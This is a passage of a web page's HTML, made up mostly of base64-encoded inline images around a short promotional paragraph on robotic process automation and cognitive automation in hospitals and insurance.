MOoV0rQtwoCUqCuCCQQeDqyNG3o24rN0VRquXTTFwZ21Fs202a99qohGqQxSlSW3FQMSU4MR7C0EBSkJySknLlSt\/wDaW29tWrCi1eGa6zRb1gRqtEVU3KdEVPX\/AAWfIeHW+28yXG0Le6lNLU2tf3TqE6SZmhaj0KqjVbNu+g0qBXK7alYp1NqyeuBMlwXWWJaR\/M04tIS4PqknTT0H21ZXxDbn2HfO2zKom4LNeuWdOpj6vs1ioQQ\/HYhKZUupw3iYiJTf8JttcVRCk9ZPBGqzg86lxTZ23eNf75ICLHRKJSr2\/fRwnHcgfnpId9G06HN7IClB0jur9NHCk+if150iO+jp0vMI2CAhKdalHk6yO+iDvpRKFK7DSDM890GyOntpVKSrt299BtkdzzpdCQBqTHTl2rky59tkZpsJ9NLggDn9NJJV7froyAVHCefr7anNAYLBR3a6lKJUT35J7aULiY4ycF09h\/Z0kHAlQbZIUs8dR7DRXGFtjzFKCsnnTb3mxLdf2Q5QTqlkIZWjrcf+Y9+fXSZQpPJH56TydKNqUPunA9dRC9r7CyKxCUQPU9tKpWo8dQx7HkaIFJVwU4+qf9NZ8o\/yKCvw7\/powC33dU0dd0oA2f5Sn6jka36JRZ9fq8Gh0prz5dQkNxWEJ7qcWoJSMd+5Gm1JIONWM8D+3\/8ASrdZV1S2VKh2tHMkKx8pkuZQ2D+XmK\/FI0sY5rw2y0HE2Mx8PYTUYnJtG0kDudmj4uIHxV77JtWDY9o0e0ad0likw2oqVBPT5hSkBSyPdSsqP1J09qUlIKlEAAZJPoNJS5kSBHXMnSmY7DQ6luurCEJHuSeBqnXim8VtLqVNe232wqyn0ystVWqMHCPL7FlpXc9X8yhxjgZycbCtrocPizyH0HUrxJwrwli\/H2K8ilaTmdeSQjwtublzjtfew3J0Cj\/xn+JF2+X5NhWdPP8ARmmvBEp9lfy1B9J9x3aSRx6Ejq9E4i9rZeQjaKl3TBW5Iq2FyJbAVkFpasoSn2ISMn6k\/TUd1RAcjuMLUCM5x76sXsBfkS6qQm2y22mbEb8p6MtXDreOFJ+nb6g\/kdchx2tqZ3faTrrr6dvRfRvgDhbCeHKFmDUrcrWt0PVzurierj+mg0ACr5Rq8\/S6i26VKHSoFSORgD01afbne2K7TY1LUltTRjgLChkFWe4\/3765\/cHw5JuJyTW7LfS3NGVOwlpwSr1yP8x39vXUEMs3Xt9VvgarSJURxpSR0OoKfTOfw9dalxgxBl2nxDornEarBZLOF2Hr0Uw3\/a71Rqqp1KnKUVr6lpaP9o88dx3zpVq7aVZtGVCYluSHix0qDg+6rJ\/Q9udRodwJJecktB0K6egjBwsY4I\/69NO1s2Jde4MtmS9CegwXVBfmOpIK05weng85B0LoQ1gExs0J8VfNkJpW3e5R9ctyqdq6JLxS6Eul7CvnSrnIT7Y5x7emp1vHdS9t4G7ErlSo9NplDpjS40eHTspQhwqCSpSD90dLaekdgBx3OoT3BokSVuO3ZdtsAohuNU9CiMlbhPzqOPYk\/kNThXWBRXabbMGAhqLT4janXeyieAj\/AD09XVr6ekEMegk38wNf4K0dLgFJieJCuqmh0tMTkPVpeMriPUAjb0UhUWtzbdkwvs6IXVvFIJzgJHvqdKtd02hW+3MmbgWzRFKSkoVVqk3HTkjsAQSo\/Qaiuybd\/phajD9OU2xU2j0h1Q6gcD+YfnrvqTsHspNpaEXhZFTnTPOS+9JeYU+68sDHzODKsd+Pu49NVuEMc6zzZXlzagMJgFz8f2TVT9wbtYkMVqRf9PuKluOJChBZUlsJUQApC1JAcAJ56ScamepvPtW2a41ILiS2FJCPXIzjGtGTTLdp1vmn0q2WKdASwmMw0tgJUG0\/d49MfXn8NOa5cJqy2YYOfJDaUn0PPfSPyg2aVsKaOoDPGq73XuBLhN\/0iuS\/KxRac2SHUQ4CpRSCcDKeoD1A4zz3504RN1No7moseLbW5MibNXw2Z0VyIVOdsJ8wdJP\/AHVH6anSPbaKrHdeZp9OlxZoHxUSQ2A26B7qAOeR2I\/PWjWrMp0yiO0ZixKTAjIB+RL2QBzygAHByT7acLYshPVQvs9VzrA6f3rdQBKpNRZo0sVxQV8XkNOZyopUSOf9dOm2m0DMGzYMiC1BYM0F952RE89b6yeTyR0pH3QB7E+ut694TcCCxTI2UoZUUhJUVfL+J13u26yqyaWph94JLZygZISoKIP641Gj1T0ceSUA7gLyRGT6jXS2jt5cl8U246nb0duSm16b9rTmuvDqo4dQ2otpx8xT19ah6ISs+muaJGMZ10llbhXJYDk16232mnJ6Y6XVONBeUsvtvpGDwQVNpCgQQpJUkjB13d9wPDuuOLpLg2D3DoFUcpLkNqSYpdEx9jrDMdTcyRFUnrWlPmHqivLAb6iUJUr+RYSSDsrcK79d28rVco1CnBMhbD1QVI8qSlpa0kpDLTi09QbWtPWlOUgH+ZOdi5PEFel3IW1ccGkTmxLXUGEKYcQI8pUiS\/5qOhYJPXMe4V1JwEZB6c6a7h3lvS6b+RuZWFxHrg6HEPSfKP8AH6gtIKxnBKW1htOMYS2gc4yRa+YbnVZYLXqG195woaqtHpSp9I6VOs1KNksPNB9plLgCwlaApUmOUpcSlfS+2opAUDrZ\/wCxvc\/4xinf0MnGTJS8ptr5erDSwhXUM\/KStSEpCsFZWgJ6upOXgeIS9E2\/BtZyn0ZylQoyIvwZYcS04E\/BqCilLgCVddPjOK6OkLWFqUFFa87A8S24RjvRcQktylSFSChchDjnmvtyClLqXQ4ygPMocCGlIR1dRIPUcymyzDwkC6CwXH3dt\/cVlpivViMBHmx4j7LwyEqU\/DYleWAoAlSG5LQXgYCjjJ4y61jZm7KWxTy2uFOkzaWmsvRYxcCoUNSW1JddccQlkpIdR8zbi0g9QUUkEaUufeW4L5pSKbfMCJWVwaa1TqTJc6kuwEoRHQCFA5WOiOT0qOOt1xX8ygQnea5W7TbsiNApjVGAX5kXpdWhxS1MKWrC3CG+oxm+oN9AVkkgnBB5pHABw16rNAmqibb1et2fUb1anwmIUCQmGhtwPLdkyCkKDaPLbUlJIIx5qkBRyElRBA3Jey24dOp86dUaC7GcgLZ6oy\/6xxtbMx5TqCMpUltMCQF\/NlKkFOMhQClh7v3RtpMm1SzY8Gn1GYl9oS0IcK2W3k9Kmwgr8taQOU+YlfQoBScKAIdF7+3cpn4EUyjop\/QpsQkMuBoJWJwdGfM6\/n+0pefm4609PT0pwD4nXNrWSXWq9sJuPDt9Nwz6Wywh1DhjxEvB6W8pLsZvoDLXUtJUZjJSVBIIPfKkBTbI2g3Li\/aRkWdPQmkx\/i5bhCehDXQ4vqCs9K\/lZeOEknDLvHyKx1DfiW3Hj1FmtQV02JUYkpEuLKai\/NHWhyE4kJSpRQQF06MfmSeyh2URpmlby3PIjtQY0OmwocdksMRmGFdDSCiWlQBUpSjkz5KsqJOVDGAkDTfKkA6JCQsWzsduNc+4tP2sYpDUGv1FKlIanSENNtBIUT5rmSGyChSCFYKVjpVgggaLe1O4JpSa6u15SICoy5nnLUhADKVFPWQTkAqSpKcjK1IWlPUUqAcp+9V5zpq6lHVFgzF0lNFMpgOKf+HEn4gkuuLU4tZVhPWpRIbCUDCUgDZuDe65bvTUo1xUqiyIlS8lxcURlNNtPNOyXG3W+hYUlSTNkgDPQQ5gpOBhWRylw2QuIsn1Hhd3ON5ybHEaCmc1PFPjPOPFEaW4XyySh5Q6U4IyUuFKsKRhJKkg8s3tLuGp2M2i2H1iYhx1pxLjZa8tvBUtTnV0IRhSSFKICgtBSSFJJ6iJ4m9x4k4T2l0xTouF65SDEyky3XmnVg8\/cKmEfL7Z5500zd7bnqMdUCfAgPwHqa3SJMN52SWX4jRZLCCnzvlLZjMdKkdKj5Y6irJzKHOjHRMnKU0V7b+5bZuOmWrVG4KahV4sGZFDc9lxvy5baVs9bgV0tkpWnPURjOTwQS6XBtFeNGqU2nQo320Kal5Ux6CxISmMWW\/MeS4l9ttxHQnBJUgA5+UnTdVdwmq2xHeqdsU2RVIgpbLMw9fT8NBjlhDKmyopUFoDIUeM+SOMqUT1tK8Re4NKaDEFijiD5VPjCHIjrlNmNEeddbjlTy1rLSlPLCkFRBSEpGAkAKJZ3aNAJQFrButaf4fd0oMkwmrYkzpDMVuRLaYSQYql+b\/CWV9IUoJYdUejqSEtrVnCVEa1R2R3Lhsx0KoalynWpjzsFs\/xmPhnltLSoHAWolClJSgqKkgkA4OiTt97\/qUVMSdIhugR\/hlOKY+dafhpccknPKiic\/z7lJ9NONteIzcG14tOj01FM6qU0hmK+plaXUIT1fIVIWkqQetXUg5Sr5SoEpTiOZ5yLGywsYmZzZTddh2Mwuxan1zG3HWQEAhQQGioZBwFf8RHwg4Urz2cA+Yjq44KWlRySCODqT2\/EfuKYT1NcdifDSJMiU6lkOx1KcdbgIJDjS0rGPsyKRhQ5C85CiNRkUqWpTnUVlRyT6\/npYhKdT9E28t6I46VZKk4+o4\/bR+hRH8PCh9O\/wCmkeonR0uemNPBw2KaIKOgkaP1e+sJXn74Cvx7\/ro\/QlQyhWD7H\/XSBp\/KU2T3R0uE\/ewr8e\/66mfbLxNytlbAftmx7eY+2alKXKnVOafMSngJbQ22nGQEjOVHupXGNQm6ox21LWMYHrrWBabbRInOpSlY6kIJ7j31qcUxCWlsyI2cevWyYqOHqDiGHkYlHzIgQcpJsSNrgbgb2Ol7XC7e+N4twdxZS5d23PPntqV1oZcdIZQrGMpaThCR+AGuRDh6S8sn\/U6b36mynqW008+AMjpTgfv\/AKHTPLr9RmOFDTaI6QMBIGSP11WJJHSHM83JVkpKOnoIhT0sYYwbNaAAPQDRPDj\/AJqC4TgqWe50Wi1mrW3WGa7QZy406GoONuI9\/Yj1B9RrSjyGhESH3QVoByk9yfporC+SvHKjyBoCA4WKltcWm4Oqu1tBvTR904zanVNU254SB8RGBwHk\/wBtHunPp6Hg+hMtVe3aHckNqRVqU1KfR8p6mQoKR2PJ7\/hjXmxS6lUKLVI9aosxyJPhuB1l5BwUqHp+B5BHqCRr0G8O+9lG3btsRJSWYlxwUYmR\/fnhxB9Un9uRz31WcQw7kO5sfu\/orvhGLiqbyJvfH1\/+rdh7c2kissPN0FhpWQHOuMlWEBB4AI4HVgduxOca6uRb0WT5r0cjymR5YWE8NjHYflroKjMoHxSPiZbSH\/KK09J5KvukD8lH9tc3eV50i2bPqcmI+0nyYy1j5eM9jke+fX6a12QuNlvA7KLgWVN9srabrG912XUpPXFpE2Q2wr0LqlKQPxwgK\/Ua7q+mGmohlIX\/ABg+2y82RnpbR1Bsj6FJGhs+aJGtT4yPU4LsqqSHajLDchClIW4okJUAcghPSCD650luZULahxviHbkisTHltpTD85BVIV1AA9P3sgevbga7DjvC4l4WgfCW8yPxm5AuCNR6gBunl3XnThrjXlccVUdQHcmX8Ntmk2LXeEns0kuN+l7nS6kDZCqOhSITTxSkuA9+M8catkxKgMxWnFrUAEZWSOAdURsCq1KkqTVYUZbzKVjqKRwffUvVbdO6qiI9BZbTSUvshxcySCEhGcfLngnj8vr21xTQFemoahsEViu03P3Giu1KLRo0tcZhSgpTyvlSUgkY\/M8fnru5UanybF+NZqjH8JCXUjrGVcd9QbclDti66ZGhCuIXKZZDXnoXjqKu5z7550323thJiLdtu4tyay7SwgBuJFeKQpKucFz7w\/LB+unBl2KFleWm7RdS1G3LrFAjMzacyH4UJoKlpJz\/AA8kEgfqedSKxf1AuO3hKgx2Qp9vOUKGBqCKNVbS27jP0OnSUswOSt6RILnWOx6luEn99RnInXNBuRA2grLk6lzJAS9TnkktNhRHUuO4OOkZz0HIx2I7aTMCNCkNW1rgSPkpMv8AdYdCukgKSs\/XjONO9p3WxRLHo8J5tWUqknISST\/FPfGo6uCLXotMkvVdweaOB0ng45OtSA8tyI2\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\/psPQLeU0fKjDVgOAp4I0m4wy8MrQM+\/rpJ1C2SVJGU6O1IQoYJwdRFIWq9BKiCk5x+2sIXKZ4KQvA\/mGCPz1uEeqVcaxk45TkaSyxIpksrGXQWz9e3666Ow7uq1g3RBuugy1B6I4CUpcIS82fvNqI7gj9Dg9xpgLTbn3eCfTTe\/FkwlefFUpI7kDt+mhc0OFnbImPdG4PadQvQO1r6pt9SRcNPccVElgGMhZHUhfUCpJA7rBOCOeAe403+JyaxTNmajUMhmRlDKVJGArrV09J9T6\/ofbVPdvNz67Z09uTAew0VhTsdRJadx7j+U\/Uf4akXxQbzQr+t+2KLR5aXEPNmpTkhPSptwZbbbVj1B80n3HQfbWl+7jFO0t926tv36yajfm0fa3z0uFXcKUk5Sog\/Q6y06tl1D6FYWhQUk\/UHjRdDW530VPGhuFerw01qkXTbT1LkFBXIYJSfVCiP8j\/hqxlOh0i8LERT5tJhTHYiw0+0+ylaSkHCgQfprzW2R3Em2VX28OrLHV1FIPoe\/wDjnV7trrvYFaaqTEnqgVlvoLYIIDuO5z7jP6ao9fSGmmLRt0XS8MxFtXTte7caFa9P2ssqybvlT6NYtJlMVIdLkSS3hlCxnBQrBLXpnAwcDgHnU4QbI2TmRGJT23tdZkuNu+fEZrTwi+Yo5B\/r0jCRkDCQMHkHAxzVdt6oNuiXDKlIPzNrTycH6aFPRc61JjSC4pGOolKOnq78D6jTYOb39StgaaJ4zAEehI+i163bdDnKNFj7d23SILxBcWxGbceVgg9IdKQeekZx9edLPQ6XRJK7icbS2zGhrixkBGEgk9x7dsa6SBQp8l3rmqcGUnlR5\/D6HXF36+uW+xT0ZEVh0KdCFDgJBwD+Y\/YaZewNBLRujOSHwgWUa7r15pqhoQhavOkkBIJ5SVf6DnVdWfEwzasqXb1ftd59cF0oZejPgeY2SSkqSocHBHY\/pqTty66mp1OZKJCY9NaLLaR2Lyxz+gwPz1TG8JiZ9z1GUhWUqfKQffp+X\/LVq4RxOqwqpfLSOyktsdAeo7qicc4JQ47h7W17MwDxlFyPyuudCPL5pNKunPAOscqOdADOs5A7a6bckWOyqiGOnk99YJJ0AMnWThPbvrOnksQGE99ZznJHoNF76yOAdK13TokWMep1nJ6TrHJOjYGPz0jUqwO2jZ4xrGsp7E+w0TddEJRuB30bOT376IO2jAe+lzW0CEpQoKRkq0ZGP2Okz2H4aOjgjJ07maH6Cw0QHZG0dKgRjRMH21lPfQAkFAUong6VUcLP46SHfSpwslSTyfTRjUEBAUNKA40no+hQFKr5ShX0xrKdFSrAwRke2jhIV9w\/kdOe9qE0dEcaMngg6InOMHg6MO+hNwkKXd++T6HkfXWvNlJhseYs46iEjSyFKTwOR7HtporklhavhlpISByfYnUbEJxFA543OnzRU0eeQNOy1poLErzU++dbbbqXEhQ0nKbDsZDgPUSkHPvxrVhLzltXdOqet4nIYUMHka1n4oOVI4OlUH66U4I4OlKxN6VutnGe2lUSAfvaXcZCh251rlhWeNDslWx0oXyO+jgHHSrka1kIWk62EKJHOl3WLSkQiw4ZDA+TupPt9dMr7hedU4fU8fhroKtJ8iEoAkKc+Qf5\/trnNC7skQ0NDQ0KxbdIkKjVOO8juFgfrx\/nqyG2O5hoLXwkgBTbnLav5m1A54\/PVbKajzajFbH87yE\/qoak1UKVTHC+lhTrKv6xA749x9RrSYs1jnNB3Vu4epJaimlkjF8pH6L0L203motdozMWfIa85tPQR1YUrOM4B5\/bUkMXJRQB1zUBJx09SiccZ59B7868vo8e5XGET7alOuI+8lTaiFpP+usVK793Xnm26hX60nyuAnrAH+HOtS2nDvzAeq3cVZUQjIG3C9I7u3ZtimQXUQakn4lxQDYB5X9B+eoOvDcWMywt5uShTzpUoHsepQzjP05zqrVGrdz+b5q5Dzz+OnKj5ix+J7JH6af4zFUlH4qrSSoAfKyDkD8f+v11FmDWaEraUOG12Kyh1rN79B\/J8gtfce8VwaJIktuEJBIZz3deV\/Ofp6gew1XUkqJUokknJJ12m6Fxir1v7OjOZjQMoyDwpz+Y\/l2\/I64vVmwmmMEGd27tfh0VL4srYp6z7JTG8cXhHm78x+J09AnMep10Nj2Hcm4NbboVtU9cl9XzOL7Nso9VuK7JH+PYZPGuf7DU0eGrcOi2TUK7Bq1TRTnKuw0hiU4B0NlHWTyeAcK4zxx+APWMMhgnqo46k2Yd\/wCnvsua8QVlXQYbLUULM8rRoNT1AJsNTYXNh2XAbn2Odubxl2gqeJi4bTClvBHSFLW0lZAHsCrA\/DSFE223EuWgzLqt2wrjqtEpxUJlShUp9+LGKUhSg46hJQjCSCckYBB1dx7biBVPC9ddx7g0SnJZbp8qqUapSfkmVBws9UeW6VHKHFKKUhOfmHSOlKSEa7bwqLr99+HCy7Luiurs61qHGrHl3taW48WA9SG33HVuIq1MdWPOUTykgKUELTjpJJ1FxW1NIZGNs0k2F9h09f3Wl4K4nZxJBLFfNJTuEb3aWc6wJItt5t\/Ltve3naNudwjX2bUFiXF9tSY3xjNNFLf+LdY6C55qWunrKOgFXUBjpBOcaxb23W4V3xEzrUsS4azFVIVES9TqW\/JbL6Wy6prqbSR1hsFZT3CQT2516I7ab\/7eWLsfaPi7qFTgVy\/bJprG0wgyEAOS2UT0OfFAZ6ur7M8xIWR94kHPY9vbVY2v2i8Tu0uw229x0t22\/Lu3cCpz25SA05JqUKYmE04c9KVtRUNoGTkhxP5611W8XGXa\/wBN\/wBrequoavLGZY96UyfSqXUbPrcWbXmmX6VGep7qHZ7bpw0thBTl1KzwkpBCj2zrNwWHfNpsNyrrsyu0Vh2Q7FbcqFOejIW+0cOtguJAK0HhSe49ca9NL28U+1W38nZqiV6yKXcN423YlrSLJq\/WlbdPlzWExpgk8kfwUJS82CMhwfy8KGPGntDeHiJsOnU3aV+36tIou4d2ypiX7ggw\/LaekgNrBfdQFA9J+7nSNrHZmhzbA9VmVeYVMtq46zTalWKPb9SnQKM2h2oyo0Rx1mEhaulCnlpBS2FK4BUQCeBrK7duBqgIulyhVFNFelGC3UjFWIqpAT1FkO46C4E89Oc45xr0b8MVQ2E8PG0Vs7X7wbqUykVLd5MuddtKTS3JvxdJlsvQoMdU1lRbipQSqSVHn5+ekDq012xUNttjfDjJ8OW+Ig1W1K7ujWreq86K6lyTTW0xY6odXj9JPCFBK+xCkKUMHsXBVlriA2+vzHWyQtuqPU\/Y\/eqquPMUvaC9pjkYNqeQxb8txTQcQFtlQS2ekKSQpOe4II41zNboFdterSKDctFn0mpxFBMiFOjLjvskgKAW2sBSSQQeR2I17MXeIlRa3Ft6x6jULmeYqFqpY\/o1f0e2ZMhhqjhCnhLWvpU3npy2CclQ\/s68nvENT69TN67shXK1UmqgiYCtuo19FbktoU2hTSXJyFKTIUGygdQPpjjGNZTVBndYi39CFzbBR4fT8NZT21g+n4aynU9+6aOyVBwDrIAJ+Xg+x1gpUBkjGsDvoiS3RybOuqUAI4Ixo4GNFSr0VyNKdOeU8\/T11mW+rUBKMlWRhQz\/AI6OE5GUHP09dJJ7aUScYOiDv9SAjsjDOjp0EkLIC\/X10uqMlCOrr7c6NsTnAluoCac4DdZYWgKw9yn0z6aO8WiR5Q\/E4xrX0cHGl5l2ZSgLdboxWlCFLUcBIydMUlhMsqfaWA4o5Psr6EaepDjQYLavvrOPy0yyY62P4rJ49dVvGZbvEQO2vxP9+q2VCyzS89VtxwTEQhScEJwRpuAU1IJx663oD3nRwpXfJH76Qlt4X1D1OtMVOW0kZTnRgSONJRz1IGPQaVx66VYjckcawBz21hJxrPbWLEOgayEAcgayO+surSyyt5Z4Qkk6xZdMNaf8ySGh2aGPzOm\/WVrU4tTiu6iSfx1jTR1WIaGhoaxYtukHpqsJXtIbP94asrGpUaS2kLTzxzqudssh6tRwRkIJX+g4\/fGpkuW7W6a\/DtyO4DInBJdOceW2TgAkduo5\/IH3Gq3jUbp5mRs3sV1XgKrhw2gqKqo90uAHmbaD43WI1xUin3G7AojjjSCcLfc+VhZzglJwfUEdQwD+GDrvxBjXE0h55bb7ScA+U4egn8QTn8yRptrm1VdoFMaqDLiUJSgLbUVJ6SDyQkkkgY9iP8wy2ZecWFWmqJMkAqqCyyFFwKT5oGU4POc4KfqSn21rainJZeK9x+y32E4jA+svWNYQ49rWvoLa2tfQ3F+q7tijwGUeUxHbbQn+VKQB+g1ym4c9u2bYnVJB6Hunymcf21cD9O\/5a7lvKVKGPz1BPiCuEP1OJbTDmUxh8Q+Af51DCQfwGT\/4tRcOpzVVLWHbc+gVp4qxJuDYRLO3R1srfU6D5b\/BREpRUoqUSSTkk+uhoaGugLzGnLWcaAGgTnV08yo6kPcnfS\/dz6TRLbrU8R6Jb8GPCh06MSln+E2lHmrGcrWenOT2zgAaj0FQzg4B76GAM6xnOje5zzmebqHQYfS4XAKaijDGC+gFhc6k+ZJ1JOpO6yVHHSCcawSTyToaz6Z0G6mIDgZOsZJ0ByedA+2susWc+g1nOdBv73bWV9+2jDPDmuhJR0rPT+HGgD6aKn7us6VziQLobI57D8NZSSOR6awD6HkaMU9JI0TgSMwQlK+YSMKAI0OjPKDn6euiDtrIJByDoi8u97VNkW2SidKDQQA534OO+h21hZlseiAlKBQUPmH5jRukJOCsfppJOlEkHHUkE6W4dugIRsY40dKj2JPGinnnWU6w6HRAUqBnRsHRNKdZSg\/Qay4tcoDc7LTmoD+QDgp4Gm9MlWC04Mkca2ipZUQVftrUmMEqDgXg\/hqnTCSWQvI3W5YWsaGhKQ3AgqRx3zpSUnqGTrWYaV1k+Z2Ge2t5TZW2Mq\/bQcl\/ZFzGpOPwnnS2ffRWmcD7\/wC2lQ1nHzd\/prOS\/slzt7og5OjY9NHDPH3v20fyP+b9tLyX9knMb3SI403VySURkxweXDk\/gP8Aoadwx\/zftpjqUNT81WXsBIAA6e3GhML7bLOY3umjQ1uGnYOPO\/u\/76Ap2f8A7393\/fQcl\/ZZzG91p6Gt37N\/\/N\/d\/wB9D7N\/\/N\/d\/wB9ZyX9knNb3TtYscyKurpxkIABPuVDT3cDEhG4kZ1LHxSnHGz5ZJAXjHHHIHA7aRsmnJYalSw4StLrKRxjjJP+Q13e08VFV3NNTnHrXGK\/KA46SkZzn3786000MwqnPA0DbfOyvVLNTDBIoHHxOfm69C7y7fqpxr93ViqWtLpbtkJYXFpCHgpEsZQlS0gKIUhPAOPU99V6gbRVyqobrKaipmX53ntkKyEqByOffgc\/TVzL\/rFBlba1Fty2uipPw0QUTmpXQQ2ooCgtHT84Kvn7jknnniAbYqzjMeTHU2FhpwhJGE\/sBj9NayobV07AYf2VkwKPCsWqH\/b9bbb+Xbqntmqf\/BzPnJSy5GbIljI+RaR835cZH0IOqk3LWXrgr06svElUp5Sxn0T\/ACj8hjU6bk1eXDoVUYhqLaao0hLvOekhQSSPqUkA\/gNQR9lcZ8\/+7\/vqXgOHyMDpyN9Bt8VA9o+OR1D4aCN1w27jvqToPpf5rQ0Nb\/2T\/wDsf3P99Z+yf\/2P7n++rDyX9lzDms7r\/9k=\" width=\"305px\" alt=\"cognitive automation use cases\" \/><\/p>\n<p><p>Do not disregard employee education as a key step towards RPA automation. To increase accuracy and reduce human error, Cognitive Automation tools are starting to make their presence felt in major hospitals all over the world. With the implementation of these tools, hospitals can free up one of the most important resources they have, human capital. With the reduction of menial tasks, healthcare professionals can focus more on saving lives. Using AI-powered document extraction, for both structured and semi-structured data, and processing handwritten documents brings many more processes in the Insurance industry into the RPA radar. Intelligent Automation, in general terms, is about leveraging AI in combination with RPA for achieving end-to-end automation.<\/p>\n<\/p>\n<p><a href=\"https:\/\/metadialog.com\/\"><img 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2hsb2QNVrE1dbuPj36d+x6tPyd4Q6MZJVs7aTUo2S0jeTeW2VPNzvZLrbVi4lx\/nuS43bMgyvljK4N0ucVqZLhW8xGo0VxxIUppsGOVdUlXUFRJOhs7rsN8P3FKSFcvZ0on7mXG3\/ANxVisgJYQkAeEgCqw5g5LyHBLxjdvskSK83d5CWZCpDC19UqfYZ2gpWnRSHisjSthB31H1VolSp043nfxZ87Qx2N4jiehw+WLldpZYpJK7tt1HzbeB2bK26zauUc2iofkOSnEtTGAFOuKKnFkej7qUST+SSasezQVWu2x7e5PkTFMNpb+YkqCnXdD9SiAASf4AVSUjkPNI3GvG+Y3F16bfZZU9cYMJlUczXhb5KzGLf1FJD6UI1\/vgePIFa8HnjNHH7EhyPZJTdyW96jjMGY0lxvutDfT1NFK0qSlK0gOe\/noVIB5CdGk7LT7RpxHD+KcSWepJSs3rotVdPWyvtpc9Bdh+aAg+xqpeM+Qspyu8FzIX4cOMu0CQiGmJ1Wp5El9p1xDiXnEqQA20dDt+tJ2CdHu8VXu5X2LeZcq5LuEL9pqNtl9krQ5GLTZ+lQQjel+oCCPpVtOz1q+NRSa7TxsTw2rhc+dr0bXt29T52J9SlKsPPFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAxXOtKvWEqX10HpKwPCwdI+gbCvb9H28H3+9b7q0toU4o6CQSfG61bSlRtkVSyCpTSVHRWRsjZ13+r\/peaA3B7VmsAaor2oD8ZkSNOivQ5bYWy+gtrTsjaSNEbHkVyhjUdDCIXz8kW9tIQmCkNJZ6JHhHhHYp19u3n77FUbyhP+KNXKF8t+BokN46q1uC1OsMQ1Rwf2bMJcWt1JWJYuAgpSk\/uy0pRKT9RFYNN\/FzmVkdezL+2TDKZF+ZTCZahRlusu2Fj5RLiWkglAm\/NpSQeyVKSSfCCJqUorQX9LKezp1ubnxFQ\/mX4oOvrjOemtOvsD9q4juN5LHX\/AOSM3lNskaLc2M3K0fylX0q\/qTXjW4OfGjjeNsw8FazJmU2y0VBUGFJU4tvFoiW0KU+hZI\/ajS0KO+xBWSoghQsHKbp8ZDozq449JuDL0W7MKsFpRY4fpPwEpaWn05a1qKVPAuNrC2XPTcGyUN+T2NSUFbl2pM5ex6GNs5BiBT8fKbbOWgbDEi2ltLn8O6HNp3+dK1+DXKg3dHKDohNKejWeG2g3RkEpcekq3uKpQ9ko19YH6uyR7bBnjJWplBdT1WUgqG96OvIqH8eRY9vl5k00gNpORvPK+3lcdhaj\/VRrTSqZqc5NLNG1mklu7Pb3dRLYmLMdiO0hiOyhptCQlCEJCUpAHgADwBX61HH+R+Po1nm5BIzmwItdsbW7Nmq